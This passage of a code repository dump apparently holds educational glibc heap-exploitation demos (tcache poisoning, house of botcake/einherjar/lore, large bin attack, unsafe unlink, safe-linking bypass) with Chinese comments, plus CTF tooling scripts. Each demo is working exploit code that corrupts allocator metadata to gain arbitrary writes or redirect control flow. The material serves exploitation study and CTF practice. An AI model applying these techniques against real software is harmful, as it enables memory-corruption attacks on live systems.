SAFE_FREE(chunkD); // empty tcache for (int i = 0; i < 7; i++) tcache_allocs[i] = malloc(0x98); char *junk = malloc(0x98); // 從 unsorted bin 拿 chunk,會拿到 chunk B 的位址 char *chunkC2 = malloc(0x98); // 從 unsorted bin 拿 chunk,會拿到 chunk C 的位址 assert(chunkC == chunkC2); SAFE_FREE(chunkC2); // 將 chunkC2 放到 tcache 內,不過 chunkC 仍然可以被使用 // e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]) ==> e->next = PROTECT_PTR (&e+0x10, 0) uint64_t L12 = *(int64_t *)chunkC; // get L12, e.g. 0x55f9755ba840 --> 0x55f9755ba // xor 任意的記憶體位址,最後 4 bits 不 xor 是因為要確定 alignment uint64_t masked_ptr = L12 ^ (((uint64_t) &arbitrary_variable) & ~0xf); uint64_t *chunkC3 = malloc(0x98); // 第三次取得 chkC assert(chunkC == chunkC3); SAFE_FREE(tcache_allocs[0]); // free 掉之前存在於 tcache 的一塊 chunk SAFE_FREE(chunkC3); *(uint64_t *) chunkC = masked_ptr; // 覆蓋成 &arbitrary_variable char *junk2 = malloc(0x98); // 第四次取得 chkC uint64_t *winner = malloc(0x98); // 此位置會等於 &arbitrary_variable *(winner+1) = 0x112233445566; assert(*(&arbitrary_variable+1) == 0x112233445566); } // Reference from: https://e28b174e-d342-4a10-972e-a985c56398b8.usrfiles.com/ugd/e28b17_669515e9578e4196add11802ed1d8984.txt int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); bypass_demo(); return 0; } ================================================ FILE: how2heap/decrypt_safe_linking.c ================================================ #include #include #include long decrypt(long cipher) { long key = 0; long plain; for (int i = 1; i < 6; i++) { int bits = 64 - 12 * i; if (bits < 0) bits = 0; // 52, 40, 28, 16, 4, 0 plain = ((cipher ^ key) >> bits) << bits; key = plain >> 12; printf("round %d:\n", i); printf("key: %#016lx\n", key); printf("plain: %#016lx\n", plain); printf("cipher: %#016lx\n\n", cipher); } return plain; } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); // step 1: allocate chunks long *a = malloc(0x20); long *b = malloc(0x20); malloc(0x10); // tcache: b --> a free(a); free(b); // decrypt the encrypted pointer long plaintext = decrypt(b[0]); printf("value: %p\n", a); printf("recovered value: %#lx\n", plaintext); assert(plaintext == (long)a); } ================================================ FILE: how2heap/fastbin_dup.c ================================================ #include #include #include int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); void *ptrs[8]; for (int i = 0; i < 8; i++) ptrs[i] = malloc(8); // 填滿 tcache for (int i = 0; i < 7; i++) free(ptrs[i]); // calloc() 不會從 tcache 當中取出 chunk int *a = calloc(1, 8); int *b = calloc(1, 8); int *c = calloc(1, 8); // ! vuln // fastbin 只會檢查第一塊 chunk 是否等於即將要 free 掉的 chunk free(a); free(b); free(a); a = calloc(1, 8); b = calloc(1, 8); c = calloc(1, 8); assert(a == c); } ================================================ FILE: how2heap/fastbin_reverse_into_tcache.c ================================================ #include #include #include #include int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char *ptrs[14]; for (int i = 0; i < 14; i++) ptrs[i] = malloc(0x10); for (int i = 0; i < 7; i++) free(ptrs[i]); // victim 為第八個 chunk // 而此 chunk 也會是 fastbin 當中的最後一塊 chunk char *victim = ptrs[7]; free(victim); for (int i = 8; i < 14; i++) free(ptrs[i]); size_t stack_var[6]; memset(stack_var, 0xcd, sizeof(stack_var)); // ! vuln // 透過漏洞來蓋寫位於 fastbin 當中的 victim 的 fd *(size_t **) victim = &stack_var[0]; // 清空 tcache for (int i = 0; i < 7; i++) ptrs[i] = malloc(0x10); // trigger exp // 執行後 fastbin 的 chunk 會倒著被放入 tcache 當中 malloc(0x10); char *q = malloc(0x10); assert(q == (char *)&stack_var[2]); return 0; } ================================================ FILE: how2heap/house_of_botcake.c ================================================ #include #include #include #include int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); // 此為我們的目標 intptr_t stack_var[4]; intptr_t x[7]; // prepare heap layout for(int i = 0; i < 7; i++) x[i] = malloc(0x100); intptr_t *prev = malloc(0x100); // for consolidation intptr_t *a = malloc(0x100); // victim malloc(0x10); // prevent consolidate with top chunk // 填滿 tcache for(int i = 0; i < 7; i++) free(x[i]); free(a); // victim will be put into unsorted bin free(prev); // consolidate with victim malloc(0x100); // 從 tcache 取出一塊 // ! vuln free(a); // double free victim // 此時 a 會被放到 tcache 當中 // 從 unsorted bin 切 0x120 大小的 chunk intptr_t *b = malloc(0x120); // overwrite victim's fd b[0x120/8-2] = (long)stack_var; malloc(0x100); // get target intptr_t *c = malloc(0x100); assert(c == stack_var); // sanity check return 0; } ================================================ FILE: how2heap/house_of_einherjar.c ================================================ #include #include #include #include int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); // target intptr_t stack_var[4]; intptr_t *a = malloc(0x38); // 在 overlap 的 chunk 前建立一個 fake chunk,並將 fd 與 bk 都設為 fake chunk 自己 a[0] = 0; // prev_size (Not Used) a[1] = 0x60; // size a[2] = (size_t) a; // fwd a[3] = (size_t) a; // bck // b 模擬造成 off-by-one 的 chunk uint8_t *b = (uint8_t *) malloc(0x28); int real_b_size = 0x28; uint8_t *c = (uint8_t *) malloc(0xf8); uint64_t* c_size_ptr = (uint64_t*)(c - 8); // ! vuln b[real_b_size] = 0; // c: 0x101 ---> 0x100 size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a); *(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size; // prev_size a[1] = fake_size; // update fake chunk size // 填滿 tcache intptr_t *x[7]; for(int i = 0; i < 7; i++) x[i] = malloc(0xf8); for(int i = 0; i < 7; i++) free(x[i]); // trigger consolidation free(c); // 此時 unsorted bin 的 chunk 大小為 0x160 == 0x100 + 0x60 (fake_chunk) // 取得在 unsorted bin 當中的 0x160 chunk intptr_t *d = malloc(0x158); // tcache poisoning uint8_t *pad = malloc(0x28); free(pad); free(b); // 此時 b --> pad,而 b 所在的位址 d 又控的到,因此將 next 改成 target address d[0x30 / 8] = (long) stack_var; // take target out malloc(0x28); intptr_t *e = malloc(0x28); // sanity check assert(e == stack_var); } ================================================ FILE: how2heap/house_of_lore.c ================================================ #include #include #include #include #include void jackpot() { fprintf(stderr, "Nice jump d00d\n"); exit(0); } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); intptr_t *stack_buffer_1[4] = {0}; intptr_t *stack_buffer_2[3] = {0}; void *fake_freelist[7][4] = {0}; intptr_t *victim = malloc(0x100); void *dummies[7]; for (int i = 0; i < 7; i++) dummies[i] = malloc(0x100); // 取的 victim_chunk 的位址 intptr_t *victim_chunk = victim - 2; // 在 stack 中建立一個 fake free-list for (int i = 0; i < 6; i++) fake_freelist[i][3] = fake_freelist[i + 1]; fake_freelist[6][3] = NULL; // fake chunk stack_buffer_1[0] = 0; stack_buffer_1[1] = 0; stack_buffer_1[2] = victim_chunk; // set fd to 'victim_chunk' in order to bypass small bin corrupted stack_buffer_1[3] = (intptr_t *) stack_buffer_2; // set bk to 'stack_buffer_2' // set fd to stack_buffer_1 in order to bypass small bin corrupted stack_buffer_2[2] = (intptr_t *) stack_buffer_1; // set bk to fake free-list to prevent crash stack_buffer_2[3] = (intptr_t *) fake_freelist[0]; void *p5 = malloc(1000); for (int i = 0; i < 7; i++) free(dummies[i]); free(victim); // will be put into unsorted bin // victim(0x100) will go to smallbin void *p2 = malloc(1200); // ! vuln // victim is now in smallbin victim[1] = (intptr_t) stack_buffer_1; // victim->bk is pointing to stack // 清空 tcache for (int i = 0; i < 7; i++) malloc(0x100); void *p3 = malloc(0x100); // 執行後會拿到 victim,並且 trigger smallbin stashing char *p4 = malloc(0x100); // 而 p4 會拿到 stack 位址 intptr_t sc = (intptr_t)jackpot; long offset = (long)__builtin_frame_address(0) - (long)p4; memcpy((p4 + offset + 8), &sc, 8); // bypass canary // sanity check assert((long)__builtin_return_address(0) == (long)jackpot); } ================================================ FILE: how2heap/house_of_mind_fastbin.c ================================================ #include #include #include #include #include #include int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); int HEAP_MAX_SIZE = 0x4000000; int MAX_SIZE = (128 * 1024) - 0x100; // 不要超過 mmap threshold // fake_arena 為我們所構造的假 arena uint8_t *fake_arena = malloc(0x1000); uint8_t *target_loc = fake_arena + 0x30; uint8_t *target_chunk = (uint8_t *)fake_arena - 0x10; // chunk 的開頭 fake_arena[0x888] = 0xFF; // update fake_arena 的 'system_mem' 欄位 fake_arena[0x889] = 0xFF; fake_arena[0x88a] = 0xFF; // debug: p *(struct malloc_state *) fake_arena // 根據 macro: // #define heap_for_ptr(ptr) ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1))) // 來計算新 heap_info 的記憶體位址 uint64_t new_arena_value = (((uint64_t)target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1); uint64_t *fake_heap_info = (uint64_t *)new_arena_value; // 持續 malloc 直到分配到 fake_heap_info 位址 uint64_t *user_mem = malloc(MAX_SIZE); while ((long long) user_mem < new_arena_value) user_mem = malloc(MAX_SIZE); // Use this later to trigger craziness uint64_t *fastbin_chunk = malloc(0x50); uint64_t *chunk_ptr = fastbin_chunk - 2; // chunk 的開頭 // 填滿 tcache uint64_t *tcache_chunks[7]; for (int i = 0; i < 7; i++) tcache_chunks[i] = malloc(0x50); for (int i = 0; i < 7; i++) free(tcache_chunks[i]); fake_heap_info[0] = (uint64_t)fake_arena; // set ar_ptr (arena pointer) // ! vuln chunk_ptr[1] = 0x60 | 0x4; // set the non-main arena bit // 此塊 fastbin chunk 會被我們一開始所建立的 fake_arena 所維護 // 因此 fastbinsY 會有對應的 pointer free(fastbin_chunk); // debug: p *(struct malloc_state *) fake_arena assert(*((unsigned long *)(target_loc)) != 0); } ================================================ FILE: how2heap/large_bin_attack.c ================================================ #include #include #include int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); size_t target = 0; size_t target1 = 0; size_t target2 = 0; size_t target3 = 0; size_t target4 = 0; size_t target5 = 0; size_t *p1 = malloc(0x428); // allocate large chunk size_t *g1 = malloc(0x18); // prevent consolidate size_t *p2 = malloc(0x418); // second large chunk,但是要小於第一塊的大小 && 屬於同個 large bin size_t *g2 = malloc(0x18); // prevent consolidate free(p1); // free 第一塊 size_t *g3 = malloc(0x438); // allocate 大於 p1 的 chunk,因此 p1 會進到 large bin free(p2); // 目前在 unsorted bin // ! vuln // 篡改 largebin chunk 的 bk_nextsize 成 target - 0x20 p1[3] = (size_t)((&target) - 4); /* size: 0x420 chunksize_nomask (bck->bk): 0x430 bck: main_arena bck->bk: p1 if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){ fwd = bck; // fwd = main_arnea bck = bck->bk; // bck == p1 victim->fd_nextsize = fwd->fd; // victim->fd_nextsize = p1 victim->bk_nextsize = fwd->fd->bk_nextsize; // victim->fd_nextsize = target - 0x20 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->bk_nextsize = target = victim } */ size_t *g4 = malloc(0x438); // allocate 大於 p2 的 chunk,因此 p2 會進到 large bin assert((size_t)(p2 - 2) == target); return 0; } ================================================ FILE: how2heap/ld_change.py ================================================ """ copy from jwang-a/CTF/master/utils/Pwn/LD_CHANGER.py """ ''' Copied and modified from https://www.cnblogs.com/0x636a/p/9157993.html All credits ro original author ''' from pwn import * import sys, os def change_ld(binary, ld): """ Force to use assigned new ld.so by changing the binary """ if not os.access(ld, os.R_OK): log.failure("Invalid path {} to ld".format(ld)) return None if not isinstance(binary, ELF): if not os.access(binary, os.R_OK): log.failure("Invalid path {} to binary".format(binary)) return None binary = ELF(binary) for segment in binary.segments: if segment.header['p_type'] == 'PT_INTERP': size = segment.header['p_memsz'] addr = segment.header['p_paddr'] data = segment.data() if size <= len(ld): log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld)) return None binary.write(addr, ld.encode().ljust(size, b'\0')) path = binary.path.split('/')[-1][0].upper() if os.access(path, os.F_OK): os.remove(path) print("Removing exist file {}".format(path)) binary.save(path) os.chmod(path, 0b111000000) #rwx------ print("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path)) return if len(sys.argv)!=3: print('Usage : python3 LD_PRELOAD.py [ld] [bin]') LD_PATH = sys.argv[1] BIN = sys.argv[2] change_ld(BIN, LD_PATH) ###Execute file by 'LD_PRELOAD={target_libc} ./executable' ================================================ FILE: how2heap/mmap_overlapping_chunks.c ================================================ #include #include #include int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); int *ptr1 = malloc(0x10); long long *top_ptr = malloc(0x100000); // size: 0x101000 long long *mmap_chunk_2 = malloc(0x100000); // size: 0x101000 long long *mmap_chunk_3 = malloc(0x100000); // size: 0x101000 printf("\nCurrent System Memory Layout \n" "================================================\n" "running program\n" "heap\n" "....\n" "third mmap chunk\n" "second mmap chunk\n" "first mmap chunk\n" "LibC\n" "ld\n" "===============================================\n\n"); // ! vuln // modified size: 0x202000 mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2; free(mmap_chunk_3); // 因為 mmap.threshold 增加到 0x202000,因此要請求更大塊的記憶體空間 long long *overlapping_chunk = malloc(0x300000); overlapping_chunk[mmap_chunk_2 - overlapping_chunk] = 0x1122334455667788; // 新請求的 chunk 會與 mmap_chunk_2 (舊的 chunk) 重疊 assert(mmap_chunk_2[0] == overlapping_chunk[mmap_chunk_2 - overlapping_chunk]); } ================================================ FILE: how2heap/poison_null_byte.c ================================================ #include #include #include #include // 透過 off-by-one 蓋 prev_inuse bit,配合 fake chunk + consolidate 的機制製造出 chunk overlap int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); // padding address to 0xXXXXXXXX0000 void *tmp = malloc(0x1); void *heap_base = (void *)((long)tmp & (~0xfff)); size_t size = 0x10000 - ((long)tmp & 0xffff) - 0x20; void *padding = malloc(size); // allocate 2 chunks void *prev = malloc(0x500); void *victim = malloc(0x4f0); malloc(0x10); // avoid consolidation void *a = malloc(0x4f0); malloc(0x10); // avoid consolidation void *b = malloc(0x510); malloc(0x10); // avoid consolidation free(a); free(b); free(prev); // now a,b,prev are in unsorted bin // we allocate a large chunk to make them go to largebin malloc(0x1000); void *prev2 = malloc(0x500); assert(prev == prev2); // create fake chunk ((long *)prev2)[1] = 0x501; *(long *)(prev2 + 0x500) = 0x500; // prev_size of next chunk void *b2 = malloc(0x510); // get chunk b assert(b == b2); // 透過殘留的 pointer,讓 b2 的 fd 指向 fake chunk ((char *)b2)[0] = '\x10'; ((char *)b2)[1] = '\x00'; void *a2 = malloc(0x4f0); assert(a == a2); free(a2); free(victim); // make a2->bk == victim void *a3 = malloc(0x4f0); // 從 unsorted bin 取出,拿到先前的 a2 // 透過殘留的 pointer a3 的 bk 指向 fake chunk ((char *)a3)[8] = '\x10'; ((char *)a3)[9] = '\x00'; assert(a == a2 && a2 == a3); // 從 unsorted bin 當中取得 victim void *victim2 = malloc(0x4f0); assert(victim == victim2); // ! vuln // 覆蓋 victim2 的 prev_inuse 成 0 ((char *)victim2)[-8] = '\x00'; // trigger backward consolidation,使得 fake chunk 也被放到 unsorted bin 當中 free(victim); void *merged = malloc(0x100); memset(merged, 'A', 0x80); memset(prev2, 'C', 0x80); // 'prev2' 與剛建立的 'merged' 重疊 assert(strstr(merged, "CCCCCCCCC")); } ================================================ FILE: how2heap/safe_linking_demo.sh ================================================ #!/bin/bash python3 ld_change.py ld-2.32.so decrypt_safe_linking gdb ./D -ex "set exec-wrapper env 'LD_PRELOAD=./libc-2.32.so'" ================================================ FILE: how2heap/tcache_house_of_spirit.c ================================================ #include #include #include // 只要 data 視為 size 是合法的,在 stack 的 chunk 也能被放到 tcache 當中 int main() { setbuf(stdout, NULL); malloc(1); unsigned long long *a; unsigned long long fake_chunks[10]; fake_chunks[1] = 0x40; a = &fake_chunks[2]; // ! vuln free(a); void *b = malloc(0x30); assert((long)b == (long)&fake_chunks[2]); } ================================================ FILE: how2heap/tcache_poisoning.c ================================================ #include #include #include #include int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); size_t stack_var; intptr_t *a = malloc(128); intptr_t *b = malloc(128); free(a); free(b); b[0] = (intptr_t)&stack_var; intptr_t *c = malloc(128); assert((long)&stack_var == (long)c); return 0; } ================================================ FILE: how2heap/tcache_stashing_unlink_attack.c ================================================ #include #include #include // 又可稱作 smallbin stashing int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target; stack_var[3] = (unsigned long)(&stack_var[2]); for (int i = 0; i < 9; i++) chunk_lis[i] = (unsigned long *)malloc(0x90); // 填滿 tcache for (int i = 3; i < 9; i++) free(chunk_lis[i]); // tcache 第一個 chunk free(chunk_lis[1]); // 下面兩塊會進 unsorted bin free(chunk_lis[0]); free(chunk_lis[2]); // 因為 size > 0x90,所以會把 unsorted bin 的 chunk 放到 smallbin malloc(0xa0); // 從 tcache 拿兩塊 malloc(0x90); malloc(0x90); // 到此 heap 內會有 tcache 0xa0 * 5 以及 smallbin 0xa0 * 2 //change victim->bck // ! vuln chunk_lis[2][1] = (unsigned long)stack_var; // calloc() 會從 smallbin 取出 chunk 回傳,而此時 glibc 發現 smallbin 裡面還有 chunk, // 因此將 chunk_lis[2] 與 chunk_lis[2]->bk(也就是 stack_var) 放到 tcache 當中 calloc(1, 0x90); // 取得存在於 stack 的記憶體空間 target = malloc(0x90); assert(target == &stack_var[2]); return 0; } ================================================ FILE: how2heap/unsafe_unlink.c ================================================ #include #include #include #include #include int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); uint64_t *chunk0_ptr = (uint64_t *)malloc(0x420); uint64_t *chunk1_ptr = (uint64_t *)malloc(0x420); uint64_t *chunk1_hdr = chunk1_ptr - 2; // create fake chunk chunk0_ptr[1] = 0x421; // 0x431 - 0x10 // bypass the check: P->fd->bk != P || P->bk->fd != P chunk0_ptr[2] = (uint64_t)&chunk0_ptr - (sizeof(uint64_t) * 3); chunk0_ptr[3] = (uint64_t)&chunk0_ptr - (sizeof(uint64_t) * 2); chunk1_hdr[0] = 0x420; // fake prev_size chunk1_hdr[1] &= ~1; // unset prev_inuse bit // before: chunk0_ptr == 0x5555555592a0 // chunk0_ptr[0] == NULL // chunk3_ptr[3] == 0x7fffffffe0d8 // consolidate with top chunk free(chunk1_ptr); // after: chunk0_ptr == 0x00007fffffffe0d0 // chunk0_ptr[0] == NULL // chunk3_ptr[3] == 0x7fffffffe0d0 char victim_string[8]; // 0x7fffffffe100 strcpy(victim_string, "Hello!~"); chunk0_ptr[3] = (uint64_t)victim_string; // modify the pointer chunk0_ptr[0] = 0x4141414142424242LL; // sanity check assert(*(long *)victim_string == 0x4141414142424242L); } ================================================ FILE: snippet ================================================ #!/bin/bash set -e if [ -z "$1" ]; then echo "Usage:"; echo "Build environment: ./snippet build"; echo "Up pwnbox daemon: ./snippet up"; echo "Get shell: ./snippet shell"; echo "Down pwnbox daemon: ./snippet down"; exit 0 fi if [ $1 == "build" ]; then mkdir pwnbox docker build -t pwnbox . elif [ $1 == "up" ]; then docker run -it -d --cap-add=SYS_PTRACE --name pwnbox -v `pwd`/pwnbox:/pwnbox pwnbox elif [ $1 == "shell" ]; then docker exec -it pwnbox fish elif [ $1 == "down" ]; then docker stop pwnbox fi